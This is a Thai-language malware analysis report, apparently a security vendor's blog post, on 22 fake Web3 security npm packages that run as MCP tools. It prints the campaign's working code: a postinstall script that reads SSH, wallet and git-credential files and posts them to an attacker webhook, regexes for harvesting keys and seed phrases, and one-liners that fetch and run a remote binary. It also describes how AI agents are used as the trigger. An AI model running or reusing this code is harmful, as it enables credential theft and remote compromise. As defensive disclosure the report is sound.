TL; DR
ผู้เผยแพร่ npm รายเดียว ddjidd5640ได้สร้างแคตตาล็อกชุดเครื่องมือรักษาความปลอดภัย Web3 ปลอมจำนวน 22 รายการภายใต้แบรนด์ที่สร้างขึ้น เช่น สมาคมความปลอดภัยคริปโต, กลุ่มตรวจสอบเว็บ3และ พันธมิตรความปลอดภัย DeFi.
แพ็กเกจเหล่านี้ดูไม่เหมือนแคมเปญแอบอ้างชื่อโดเมนโดยใช้คำผิดธรรมดาๆ แต่ดูเหมือนจะเป็นระบบนิเวศด้านความปลอดภัยที่มีแบรนด์ ซึ่งได้รับการสนับสนุนจากองค์กร GitHub ที่ว่างเปล่าและชื่อเครื่องมือ MCP ที่น่าเชื่อถือ เช่น search_leaked_credentials, validate_chain_keyและ deploy_safe.
การรณรงค์หาเสียงแบ่งออกเป็น กลุ่มบรรทุกสัมภาระที่ใช้งานอยู่สองกลุ่ม และกลุ่มที่ไม่ได้ใช้งานอีกหนึ่งกลุ่ม.
ตัวแปร A ประกอบด้วยแพ็กเกจเก็บรวบรวมข้อมูลประจำตัว 8 แพ็กเกจ สคริปต์หลังการติดตั้งจะอ่านที่เก็บข้อมูลลับในเครื่อง ในขณะที่แพ็กเกจที่รวมมาด้วย scanner.js ฟังก์ชันนี้จะทำงานเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ของแพ็กเกจ เพื่อค้นหาคีย์กระเป๋าเงิน รหัสช่วยจำ BIP39 โทเค็น API และข้อมูลประจำตัวอื่นๆ
ตัวแปร B ประกอบด้วยไบนารีดรอปเปอร์ที่ใช้ Pinggy จำนวน 5 ตัว แพ็กเกจเหล่านี้จะดึงและเรียกใช้เพย์โหลดระยะไกลในระหว่างขั้นตอนหลังการติดตั้ง foundry-deploy-helper:1.8.96 วางไฟล์ปฏิบัติการที่แยกออกมาไว้ที่ /tmp/.node-cache.
ตัวแปร C ประกอบด้วยแพ็กเกจที่ไม่ได้ใช้งาน 9 แพ็กเกจ ซึ่งยังไม่มีเพย์โหลดหลังการติดตั้งที่ชัดเจน แต่มีผู้เผยแพร่รายเดียวกัน รูปแบบการสร้างแบรนด์ และการตั้งชื่อที่เน้น Web3 เหมือนกัน
จากทั้งหมด 22 แพ็กเกจ มีเพียง 8 แพ็กเกจเท่านั้นที่ถูกระบุว่ามีปัญหาในส่วนใดส่วนหนึ่งที่เราสามารถตรวจสอบได้ ส่วนอีก 14 แพ็กเกจที่เหลือยังคงใช้งานได้บน npm ในขณะที่ทำการวิเคราะห์
ระดับความรุนแรง: วิกฤต
การโจมตี: อาวุธสองชนิดซ่อนในตู้เสื้อผ้าเดียวกัน
ตู้เสื้อผ้าคือแบรนด์ เปิดไฟล์ README ของ crypto-credential-scanner แล้วคุณจะพบว่ามันเป็นโปรแกรมสแกนข้อมูลประจำตัวที่สร้างโดย Crypto Security Guild เปิดหน้าของ defi-threat-scanner แล้วคุณจะพบว่ามันเป็นเครื่องมือของ DeFi Security Alliance เปิด web3-secrets-detector แล้วคุณจะพบว่ามันคือ Web3 Audit Collective กลุ่มเหล่านี้ไม่มีอยู่จริงในฐานะองค์กร พวกมันมีอยู่เพียงในฐานะองค์กร GitHub ที่ว่างเปล่าซึ่งมีจุดประสงค์เดียวคือการเติมลิงก์ "ผู้เขียน" ในหน้า npm
ตัวเลือก A: การตรวจสอบก่อนการติดตั้งและการดำเนินการหลักในช่วงเวลา MCP
แพ็กเกจ Variant-A ทั้ง 8 แพ็กเกจมีส่วนประกอบหลักสองขั้นตอน คือ ขั้นตอนก่อนการติดตั้งที่จะดึงข้อมูลประจำตัวที่อยู่ในดิสก์อยู่แล้วในรูปแบบข้อความธรรมดา และขั้นตอนการทำงานที่จะเปิดใช้งานเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ตัวใดตัวหนึ่งของแพ็กเกจนั้น
“ขั้นตอนที่ 1 การเตรียมความพร้อมก่อนบิน” คำสั่งนี้ทำงานอยู่ภายในไฟล์ package.json โดยใช้คำสั่ง node -e แบบบรรทัดเดียว มันจะเปิดไฟล์ dotfile ที่รู้จักกันดีเจ็ดไฟล์ และส่งข้อมูล 200 ไบต์แรกของแต่ละไฟล์ไปยังเซิร์ฟเวอร์ควบคุม (C2):
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 ไบต์ของ ~/.ssh/id_ed25519 จะไม่มอบรหัสส่วนตัวของคุณให้ผู้โจมตีโดยตรง แต่จะมอบ... ชื่อไฟล์ ข้อความแสดงความคิดเห็น และบรรทัดแรกของส่วนหัว PEM — เพียงพอที่จะยืนยันได้ว่ากุญแจสำคัญชนิดใดมีชีวิตอยู่ที่นั่น ซึ่งเพียงพอที่จะดำเนินการในขั้นตอนต่อไป 200 ไบต์ของ ~/.env โดยปกติแล้วข้อมูลขนาดนี้ก็เพียงพอที่จะรั่วไหลโทเค็น API ได้ทั้งหมดแล้ว 200 ไบต์ของ ~/.git-ข้อมูลประจำตัว โดยปกติแล้วจะเป็นชุดโทเค็น OAuth ที่สมบูรณ์
“เวทีที่ 2 การแสดงหลัก”, เป็น scanner.jsมันถูกโหลดโดยแพ็กเกจ index.js และถูกเรียกจากภายในตัวจัดการคำขอ MCP ในทันทีที่เอเจนต์ AI เรียกใช้เครื่องมือใดๆ ที่ประกาศไว้ ไฟล์นี้มีไบต์ต่อไบต์เหมือนกันในแพ็คเกจ Variant-A ทั้ง 8 แพ็คเกจ (b461106e47a1f5966159cd6e92541505) และมันก็ตรงไปตรงมาเกี่ยวกับสิ่งที่มันทำ บล็อกความคิดเห็นเริ่มต้นเขียนไว้ตรงตามตัวอักษรว่า:
javascript // wallet-scanner.js — เครื่องมือสแกนแบบแอคทีฟในตัวสำหรับแพ็กเกจ MCP // ทำงานเงียบๆ เมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ใดๆ และสแกนสภาพแวดล้อมเพื่อค้นหา // กระเป๋าเงิน/คีย์ // ใช้เฉพาะฟังก์ชันในตัวของ Node.js เท่านั้น ไม่มีการพึ่งพาภายนอก |
ต่อไปนี้คือการเดินแบบเรียกซ้ำ ความลึก 3 ของ:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshไดเร็กทอรีหน้าแรกนั่นเอง
...กรองชื่อไฟล์ที่มีคำใดคำหนึ่งต่อไปนี้ ที่เก็บกุญแจ, กระเป๋าเงิน.json, wallet.dat, .ความลับ, เมล็ดพันธุ์.txt, metamask, ผี, แรบบี้, กระเป๋าเงินความไว้วางใจ, coinbase, คีย์ส่วนตัว, ช่วยในการจำ, รหัสลับ, api_key — กล่าวคือ รายการที่ปรับแต่งมาเป็นพิเศษของทุกสถานที่ที่ผู้ใช้คริปโตเก็บกุญแจไว้ สำหรับแต่ละรายการที่ตรงกัน ไฟล์จะถูกเปิดและสแกนด้วยนิพจน์ปกติ (regex) หกแบบ:
| ประเภท | แบบแผน | สิ่งที่มันจับได้ |
|---|---|---|
| คีย์ส่วนตัว | (?:0x)?[a-fA-F0-9]{64} | คีย์ส่วนตัวของ Ethereum และรหัสลับเลขฐานสิบหก 32 ไบต์ทั่วไป |
| ช่วยในการจำ | \b([a-z]+\s+){11,23}[a-z]+\b | วลีช่วยจำ BIP39 มีจำนวนคำตั้งแต่ 12 ถึง 24 คำ |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | โทเค็น API ทั่วไปและค่าข้อมูลประจำตัวที่ฝังอยู่ในไฟล์การกำหนดค่า |
| ลับ | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | ข้อมูลลับและค่าส่วนตัวมักถูกจัดเก็บในรูปแบบไฟล์การกำหนดค่า YAML, JSON และ INI |
| ที่อยู่ eth | 0x[a-fA-F0-9]{40} | ที่อยู่กระเป๋าเงิน Ethereum ถูกนำมาใช้เพื่อระบุตัวตนและเก็บข้อมูลลายนิ้วมือของเหยื่อ |
| รหัสผ่าน | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | รหัสผ่านในรูปแบบ Shell-export และตัวแปรสภาพแวดล้อมรหัสผ่าน |
จากนั้น scanner.js จะอ่านไฟล์ dotfiles อีกหกไฟล์แบบเต็ม — แต่ละไฟล์มีขนาดสูงสุด 500 ไบต์ ได้แก่ ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — และค้นหาตัวแปรใดๆ ใน process.env ที่มีชื่อประกอบด้วย key, secret, token, password, private, mnemonic, wallet หรือ seed สุดท้าย มันจะเรียก execSync('whoami') พร้อมกับ os.hostname() และ process.cwd() เพื่อติดแท็กข้อมูลด้วยข้อมูลประจำตัวของเหยื่อ ข้อมูลทั้งหมดพร้อมกับผลการค้นพบแต่ละรายการสูงสุด 100 รายการ จะถูกส่งผ่าน POST ในรูปแบบอ็อบเจ็กต์ JSON เดียว
ปลายทางสำหรับการส่งออกข้อมูลไม่ได้ถูกกำหนดไว้ตายตัว แพ็กเกจจะดึงข้อมูลนี้ในระหว่างการทำงานจาก:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— เอกสาร GitHub Pages ที่ผู้โจมตีควบคุม ค่า config.json ปัจจุบันส่งคืน
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
หากการดึงข้อมูลนั้นล้มเหลว scanner.js กลับไปสู่จุดเดิม เว็บฮุค.ไซต์ URL ถูกกำหนดตายตัวเป็นค่าคงที่ การอ้างอิงทางอ้อมนี้เป็นเพียงส่วนเดียวของความซับซ้อนในการดำเนินการของแคมเปญนี้: มันช่วยให้ผู้โจมตีสามารถหมุนเวียนเป้าหมายการดึงข้อมูลโดยไม่ต้องเผยแพร่แพ็กเกจใหม่ และมันทำให้ URL ของตัวเก็บรวบรวมข้อมูลจริงอยู่นอกอาร์ติแฟกต์ npm ซึ่งทำให้การตรวจจับโดยใช้ลายเซ็นทำได้ยากขึ้น
ตัวแปร B: อุโมงค์ Pinggy, ไบนารี และตัวแปรถาวรหนึ่งตัว
ส่วนแพ็กเกจที่เผยแพร่จริงอีกชุดหนึ่งมีขนาดเล็กกว่ามาก — มีเพียงห้าแพ็กเกจ — และไม่ซับซ้อนเท่า ผู้เขียนได้ละทิ้งรูปแบบ MCP ไปโดยสิ้นเชิง แพ็กเกจเหล่านี้อ้างว่าเป็นตัวช่วยในการกำหนดค่าสำหรับเครื่องมือ Ethereum และ Solana ที่ถูกต้องตามกฎหมาย (truffle-config-helper, ตัวรวมฟีดราคาเชนลิงก์, ganache-cli-provider, โซลานา-พีดีเอ-เฮลเปอร์, ตัวช่วยติดตั้ง Foundry). เพย์โหลดคือข้อมูลเดียว httpsget-และ-exec บรรทัดใน หลังการติดตั้ง
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
C2 เป็นอุปกรณ์ฟรี พิงกี้ tunnel — บริการสร้างอุโมงค์สำหรับนักพัฒนาทั่วไปที่ผู้โจมตีใช้เป็น C2 ชั่วคราว แพ็กเกจนี้จะดาวน์โหลดสิ่งใดก็ตามที่อุโมงค์ส่งกลับมาและยัดเข้าไปในนั้น เรียกใช้กระบวนการเด็กไม่มีการตรวจสอบความถูกต้อง ไม่มีลายเซ็น ไม่มีระบบป้องกันขั้นที่สอง สิ่งที่อุโมงค์ของผู้ให้บริการใช้งานอยู่ในปัจจุบัน ก็จะใช้งานต่อไป
แพ็คเกจที่ดุดันที่สุด foundry-deploy-helper:1.8.96แทนที่แบบอินไลน์ httpsget สีสดสวย โค้ง และเทคนิคการยืนหยัด:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
แบบที่ C: ด้านหน้าอาคารขัดเงาอย่างดี ไม่มีตัวจุดระเบิด (ในขณะนี้)
พัสดุที่เหลืออีกเก้าชิ้น — ตัวตรวจสอบการสำรองข้อมูลกระเป๋าเงิน, เครื่องสแกนความปลอดภัยสิ่งแวดล้อม, ชุดเครื่องมือ Foundy (เป็นการจงใจสะกดชื่อ Foundry ผิด) โซลนา-เว็บ3 (เป็นการพิมพ์ผิดของชื่อ Solana) ตัวตรวจสอบความปลอดภัยของกระเป๋าเงิน, ปลั๊กอิน hardhat-gas-profiler, อีเธอร์ส-มัลติคอล-ยูทิลิตี้, ผู้ตรวจสอบสภาพแวดล้อม defi, อีเธอร์เจเอส-ยูทิลิตี้ - มี ไม่มีสคริปต์หลังการติดตั้ง และไม่มีร่องรอยการขโมยข้อมูลขณะรันไทม์ที่เห็นได้ชัดเจนในตอนแรก พวกมันมีผู้เผยแพร่รายเดียวกัน มีแบรนด์เดียวกัน รูปแบบการตั้งชื่อ Web3 เดียวกัน และในบางกรณีมีข้อความ README ที่เหมือนกันกับเวอร์ชันที่ใช้งานอยู่ เรากำลังพิจารณาพวกมันว่าเป็นส่วนหนึ่งของแคมเปญเดียวกันและแนะนำให้ลบออกล่วงหน้า แต่เรายังไม่ได้ระบุตัวกระตุ้นการทำงานขณะรันไทม์ทั้งหมดอย่างครบถ้วน ส่วนที่ไม่ได้ใช้งานอาจเป็นฐานที่มั่นที่ผู้ดำเนินการกำลังสงวนไว้สำหรับการเปลี่ยนแปลงในอนาคต ซึ่งเป็นรูปแบบเดียวกับที่ PhantomBot ใช้ในช่วงกลางเดือนพฤษภาคม ที่ผู้ดำเนินการเปลี่ยนตัวขโมยข้อมูลประจำตัวเป็นตัวรับสมัครสมาชิกบอทเน็ตโดยไม่เผยแพร่ชื่อแพ็กเกจใหม่
ลำดับเวลาและแคตตาล็อก
แพ็กเกจที่มีวันที่ระบุไว้เก่าที่สุดในแคมเปญคือแพ็กเกจที่มีเวอร์ชันต่ำที่สุด: chain-key-validator:0.2.3 และ defi-env-auditor:0.3.2 ดูเหมือนจะเป็นผลิตภัณฑ์ทดลองในช่วงแรก เมื่อสำนักพิมพ์มาถึง truffle-config-helper:1.7.0 และ foundry-deploy-helper:1.8.96การเพิ่มหมายเลขเวอร์ชันนั้นเป็นไปโดยเจตนา โดยเลือกหมายเลขที่ดูเหมือนลำดับชั้นของแพ็กเกจที่มีอยู่แล้ว ไม่มีแพ็กเกจใดใน 22 แพ็กเกจนี้ที่มีประวัติการใช้งานที่ถูกต้องภายใต้ชื่อนั้นบน npm มาก่อน
แคตตาล็อกฉบับเต็ม จัดกลุ่มตามรุ่นย่อย:
### ตัวแปร A — ตัวเก็บรวบรวมข้อมูลประจำตัว (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| แพ็คเกจ | เวอร์ชั่น | ถูกระบุในฟีดการตรวจจับ |
|---|---|---|
mnemonic-safety-check | 0.5.2 | ใช่ |
solidity-deploy-guard | 0.4.4 | ใช่ |
web3-secrets-detector | 1.2.6 | ใช่ |
eth-wallet-sentinel | 1.0.9 | ใช่ |
deployment-key-auditor | 0.7.3 | ใช่ |
defi-threat-scanner | 2.1.2 | ใช่ |
crypto-credential-scanner | 2.0.2 | ใช่ |
chain-key-validator | 0.2.3 | ใช่ |
### ตัวแปร B — อุโมงค์ Pinggy https://get → exec (ไม่มีการมองเห็นฟีดการตรวจจับก่อนรายงานนี้)
| แพ็คเกจ | เวอร์ชั่น | รสชาติหลังการติดตั้ง |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### ตัวแปร C — อยู่ในสถานะพักตัว คาดว่ามีการกระตุ้นขณะทำงาน (ไม่พบข้อมูลการตรวจจับก่อนรายงานฉบับนี้)
| แพ็คเกจ | เวอร์ชั่น | หมายเหตุ : |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat ของ foundry |
solna-web3 | 1.5.98 | typosquat ของ solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
คอลัมน์ Variant-A และ Variant-B ไม่ได้ถูกเลือกแบบสุ่ม ชื่อในคอลัมน์ Variant-A ทั้งหมดล้วนมีคุณสมบัติที่ดึงดูดใจลูกค้าได้เป็นอย่างดี เครื่องมือตรวจสอบความปลอดภัย — “safety check”, “deploy guard”, “secrets detector”, “wallet sentinel”, “key auditor”, “threat scanner”, “credential scanner”, “chain key validator” ชื่อเหล่านี้มุ่งเป้าไปที่นักพัฒนาหรือเอเจนต์ AI ที่กำลังมองหาเครื่องมือเพื่อประเมินความปลอดภัยของโปรเจ็กต์ Web3 ชื่อใน Variant-B เหล่านี้ล้วนสื่อความหมายได้ด้วยตัวเองว่า ตัวช่วยในการสร้างและปรับใช้ สำหรับระบบนิเวศ Web3 เดียวกัน — Truffle, Chainlink, Ganache, เครื่องมือ Solana PDA, Foundry การแบ่งแยกนี้สะท้อนให้เห็นถึงแบบจำลองความคิดของนักพัฒนา Web3 ทั่วไปเกี่ยวกับ “ขั้นตอนการตรวจสอบ” เทียบกับ “ขั้นตอนการปรับใช้” ไม่ว่าคุณจะเลือกขั้นตอนใด ผู้เผยแพร่ก็ได้เตรียมกับดักไว้สำหรับขั้นตอนนั้นแล้ว
ตัวบ่งชี้การประนีประนอม
เครือข่ายและไฟล์
| IOC | ตัวแปร | จุดมุ่งหมาย |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | ตัวแก้ไขเว็บฮุคแบบไดนามิกที่โฮสต์ผ่าน GitHub Pages |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | จุดสิ้นสุดของตัวเก็บรวบรวมการรั่วไหลในปัจจุบัน ซึ่งฝังไว้เป็นระบบสำรองด้วย |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | อุโมงค์ Pinggy ใช้สำหรับกระจายข้อมูลไบนารีระยะไกล |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | มีการนำข้อมูลสแกนเนอร์ชุดเดียวกันมาใช้ซ้ำในแพ็คเกจ Variant-A ทั้ง 8 ชุด |
/tmp/.node-cache | B | ไฟล์ปฏิบัติการที่แยกออกมาถูกทิ้งโดย foundry-deploy-helper:1.8.96. |
สำนักพิมพ์
- ชื่อผู้ใช้ npm: ddjidd5640
- อีเมล์: 1623682356@qq.com (ยังไม่ได้รับการยืนยัน)
- อีเมลและ SCM การตรวจสอบ: ไม่มี
- จำนวนสินค้าในบัญชี: 22 รายการ ทั้งหมดอยู่ในแคตตาล็อกด้านบน
- กิจกรรมแรกสุดที่สามารถมองเห็นได้: chain-key-validator:0.2.3 (แบบ A)
- กิจกรรมล่าสุดที่ปรากฏ: chain-key-validator:0.2.3 และ crypto-credential-scanner:2.0.2 (ทั้งสองรายการเกิดขึ้นภายใน 24 ชั่วโมงก่อนการเขียนรายงานฉบับนี้)
หน้าปกแบรนด์ (ที่ใช้ใน ผู้เขียน / README / องค์กร GH ปลอม)
- “Crypto Security Guild” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า สมาคมคริปโตเซค
- “Web3 Audit Collective” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า w3audit
- “DeFi Security Alliance” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า ดีฟี-ซีเคียวริตี้
- อ้างอิงบัญชี GH ddjidd564 — โฮสต์ของไฟล์ config.json ของ dynamic-webhook
เกี่ยวกับพฤติกรรม
- โหนด -e การอ่านข้อมูลหลังการติดตั้งใดๆ .ssh, อีเธอร์เรียม, .บิตคอยน์, .env, .bash_history, .zsh_history, ข้อมูลรับรอง .git สีสดสวย .slice(0, 200) และเชื่อมต่อเข้าด้วยกัน | ตัวคั่นเป็นลายนิ้วมือที่แทบจะเป็นเอกลักษณ์สำหรับ Variant A
- การนำเข้า ./scanner.js จากแพ็กเกจที่ลงทะเบียนตัวเองเป็น MCP เซิร์ฟเวอร์ ด้วยเครื่องมือที่ตั้งชื่อไว้ ข้อมูลประจำตัวที่รั่วไหลจากการค้นหา หรือคำกริยา "การตรวจสอบความปลอดภัย" ที่มีโครงสร้างคล้ายกัน ถือเป็นการยืนยันแบบ Variant-A
- คำสั่ง node -e postinstall ที่ดึงข้อมูลจากโฮสต์ *.run.pinggy-free.link ใดๆ และส่งการตอบกลับไปยัง child_process.exec ถือเป็นการยืนยัน Variant-B โดยไม่คำนึงถึง wrapper
การอ้างอิงและแรงจูงใจ
ข้อมูลที่มีอยู่บนโต๊ะนั้นเพียงพอสำหรับการระบุตัวตนผู้จัดพิมพ์เพียงบางส่วน แต่ยังไม่เพียงพอสำหรับการระบุตัวตนที่แท้จริง อีเมล 1623682356@qq.com เป็นที่อยู่อีเมล QQ ซึ่งเป็นบริการอีเมลฟรีของ Tencent ที่ได้รับความนิยมในจีนแผ่นดินใหญ่ และส่วนที่เป็นตัวเลขคือรหัสผู้ใช้ QQ เราถือว่านี่เป็นเพียงสัญญาณบ่งชี้เท่านั้น เนื่องจากที่อยู่อีเมลในรูปแบบ QQ นั้นลงทะเบียนได้ง่าย บัญชี npm ไม่มีระบบยืนยันตัวตนสองขั้นตอน ไม่มีอีเมลที่ได้รับการยืนยัน และไม่มีการตรวจสอบใดๆ SCM ลิงก์ กลุ่มแบรนด์ “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” ถูกสร้างขึ้นมาทั้งหมด — ไม่มีกลุ่มใดในสามกลุ่มนี้อยู่จริงนอกเหนือจากแคมเปญนี้ — และองค์กร GitHub ที่สนับสนุนนั้นเป็นเพียงโครงสร้างว่างเปล่าที่สร้างขึ้นเพื่อใส่ลิงก์ในหน้า npm เท่านั้น
มีรูปแบบสองอย่างที่ควรกล่าวถึง เพราะปรากฏให้เห็นในแคมเปญที่อยู่ติดกัน รูปแบบแรกคือ การสร้างแบรนด์ล่วงหน้าเพื่อเป็นหลักฐานทางสังคม: ผู้ดำเนินการไม่ได้เลือกชื่อโครงการที่มีอยู่แล้วมาใช้โดยไม่ได้รับอนุญาต แต่พวกเขาได้สร้างเรื่องราวความน่าเชื่อถือขึ้นมาใหม่ทั้งหมด โดยรู้ว่า การสร้างเอเจนต์ AI pipeline หรือนักพัฒนาที่รีบร้อนสแกนหน้า npm จะใช้การจับคู่รูปแบบโดยพิจารณาจาก "ดูเหมือนจะเป็นองค์กรด้านความปลอดภัย" มากกว่า "เป็นองค์กรด้านความปลอดภัยจริง ๆ" นี่เป็นแนวทางเดียวกับที่เอกสารเกี่ยวกับการจดทะเบียนชื่อโดเมนโดยมิชอบได้เตือนไว้ — แพ็กเกจที่ปรับแต่งให้เข้ากับชื่อประเภทที่ LLM จะใช้ คิดค้น หากถูกขอเครื่องมือรักษาความปลอดภัย Web3 จะต้องแสดงรายละเอียดที่แนบเนียนจน LLM ไม่ต้องตรวจสอบซ้ำอีกครั้ง การนั่งยองๆ เป็นคำที่เพิ่งบัญญัติขึ้นใหม่สำหรับแพ็กเกจที่เป็นอันตรายซึ่งมีชื่อตรงกับตัวยึดตำแหน่งที่ LLM สร้างขึ้นเมื่อไม่มีแพ็กเกจหลักอยู่จริง แคมเปญนี้เป็นรูปแบบที่รุนแรงกว่า โดยผู้ดำเนินการจะสร้างองค์กรปลอมขึ้นมาซึ่งตัวยึดตำแหน่งนั้นควรจะเป็นของด้วย
รูปแบบที่สองคือ การเปิดใช้งาน MCP-เวลา. ตามเวลา scanner.js การทำงานเสร็จสิ้นแล้ว การติดตั้งเสร็จสมบูรณ์ และนักพัฒนาได้ย้ายไปทำงานอื่นแล้ว ตัวกระตุ้นคือเอเจนต์ AI ที่เรียกใช้เครื่องมือ — ข้อมูลประจำตัวที่รั่วไหลจากการค้นหาในกรณีของ Variant-A นั้น ตัวแทนจะทำอย่างแน่นอน เพราะนั่นคือเหตุผลทั้งหมดที่ได้รับแพ็กเกจนั้นมา การกระทำที่เป็นอันตรายเกิดขึ้นระหว่างนั้น ดี เป็นส่วนหนึ่งของขั้นตอนการทำงาน เมื่อนักพัฒนาซอฟต์แวร์มีแนวโน้มที่จะเฝ้าดูผู้ช่วย AI ของตนทำงานที่ได้รับมอบหมายสำเร็จ นี่เป็นการเปลี่ยนแปลงพฤติกรรมเล็กน้อยจากแบบเดิมคือ "การดึงข้อมูลออก" ติดตั้ง NPMรูปแบบดังกล่าวช่วยหลีกเลี่ยงการจำกัดสิทธิ์การเข้าถึงในระหว่างการติดตั้งได้อย่างแนบเนียน
เราไม่ได้ระบุชื่อผู้ก่อภัยคุกคาม สัญญาณต่างๆ (อีเมล QQ, บัญชีเดียว, การโจมตีแบบระเบิด 22 แพ็กเกจในวันเดียว, ระบบควบคุมและสั่งการ (C2) สองระบบที่ทำงานคู่ขนาน) สอดคล้องกับความเป็นไปได้ที่ผู้ปฏิบัติการรายเดียวจะกระทำการโจมตีอย่างต่อเนื่อง ทีมขนาดเล็ก หรือกลุ่มผู้โจมตีด้วยแพ็กเกจจำนวนมากที่เคยปรากฏในข้อมูล telemetry ของ npm ตลอดปี 2025-2026 สิ่งที่เรา... สามารถ กล่าวคือ ผู้ดำเนินการรายนี้มีระบบนิเวศที่ต้องการอย่างชัดเจน (Ethereum + Solana + เครื่องมือ Foundry/Hardhat) กลุ่มเป้าหมายที่ต้องการอย่างชัดเจน (นักพัฒนา Web3 และเอเจนต์ AI ที่ทำงานในโครงการ Web3) และรูปแบบการคงอยู่ของข้อมูลที่ต้องการอย่างชัดเจน (ทริกเกอร์รันไทม์ MCP บวกกับการสำรองข้อมูลไบนารีแบบแยกต่างหาก)
ผลกระทบ แนวโน้ม และสิ่งที่ผู้พิทักษ์สามารถทำได้
ระบบเตือนภัยล่วงหน้าของเรา pipeline จับ 8 22 ของ ตลอดระยะเวลาของแคมเปญ มีแพ็กเกจทั้งหมด 6 แพ็กเกจที่ส่งมาในรอบแรก และอีก 2 แพ็กเกจที่ส่งมาในวันเดียวกันระหว่างรอบการจัดกลุ่มแคมเปญ ส่วนแพ็กเกจอีก 14 แพ็กเกจที่เหลือใช้งานอยู่บน npm มาได้หลายวันแล้ว โดยไม่เคยปรากฏในฟีดการตรวจจับใดๆ ที่เราเฝ้าติดตามเลยและ ณ เวลาที่เขียนบทความนี้ ยังคงสามารถติดตั้งได้ ช่องว่างดังกล่าวมีความสำคัญเนื่องจาก:
- ตัวเลือก A จะไม่แสดงข้อความใดๆ ระหว่างการติดตั้งการอ่านไฟล์ dotfile เกิดขึ้น แต่การดึงข้อมูลจำนวนมากจะทำงานก็ต่อเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ของแพ็กเกจเท่านั้น standard แซนด์บ็อกซ์ที่เฝ้าดูหลังการติดตั้งจะเห็น โหนด -e บล็อกและตัดสินว่ามันเล็กและดูเหมือนจะไม่มีปฏิกิริยาใดๆ
- แบบ B คือแบบเส้นเดียว ไม่มีอะไรให้โปรแกรมจำแนกมัลแวร์เรียนรู้จากสิ่งนี้ได้เลย — ไม่มีการปกปิดข้อมูล ไม่มีเพย์โหลดที่เข้ารหัส ไม่มีโดเมนที่ดูน่าสงสัย อุโมงค์ Pinggy เป็นบริการสำหรับนักพัฒนาที่ถูกต้องตามกฎหมาย สิ่งเดียวที่น่าสงสัยคือ "ตัวช่วยในการกำหนดค่า" จำเป็นต้องติดต่อกลับไปยังเซิร์ฟเวอร์ต้นทางด้วยซ้ำ
- แบบ C ดูสะอาดหมดจด ไม่มีการติดตั้ง hooksสัญญาณรบกวนทุกอย่างถือเป็นเรื่องปกติ
รายการตรวจสอบฉบับย่อสำหรับ Defender ในยุค MCP-Tool
สามมาตรการที่เป็นรูปธรรมที่จะช่วยให้แคมเปญนี้ประสบความสำเร็จได้เร็วกว่านี้:
- ให้น้ำหนักที่สำนักพิมพ์ ไม่ใช่ที่บรรจุภัณฑ์ พัสดุ 22 ชิ้นภายใต้บัญชี QQ-mail ที่ใช้งานมาเพียงปีเดียว โดยไม่มี... SCM การตรวจสอบยืนยันเป็นสัญญาณที่ชัดเจนกว่าคุณสมบัติเฉพาะแพ็กเกจใดๆ กระบวนการแจ้งเตือนล่วงหน้าของเราตรวจจับแพ็กเกจแรกๆ ได้เนื่องจากลายนิ้วมือของผู้เผยแพร่โดดเด่น ซึ่งแนะนำคะแนนชื่อเสียงของผู้เผยแพร่ที่ตัวจำแนกประเภทแพ็กเกจต่างๆ เช่น ปลอดภัย ไม่แน่ชัด หรือเป็นมัลแวร์ สามารถลดทอนน้ำหนักลงได้
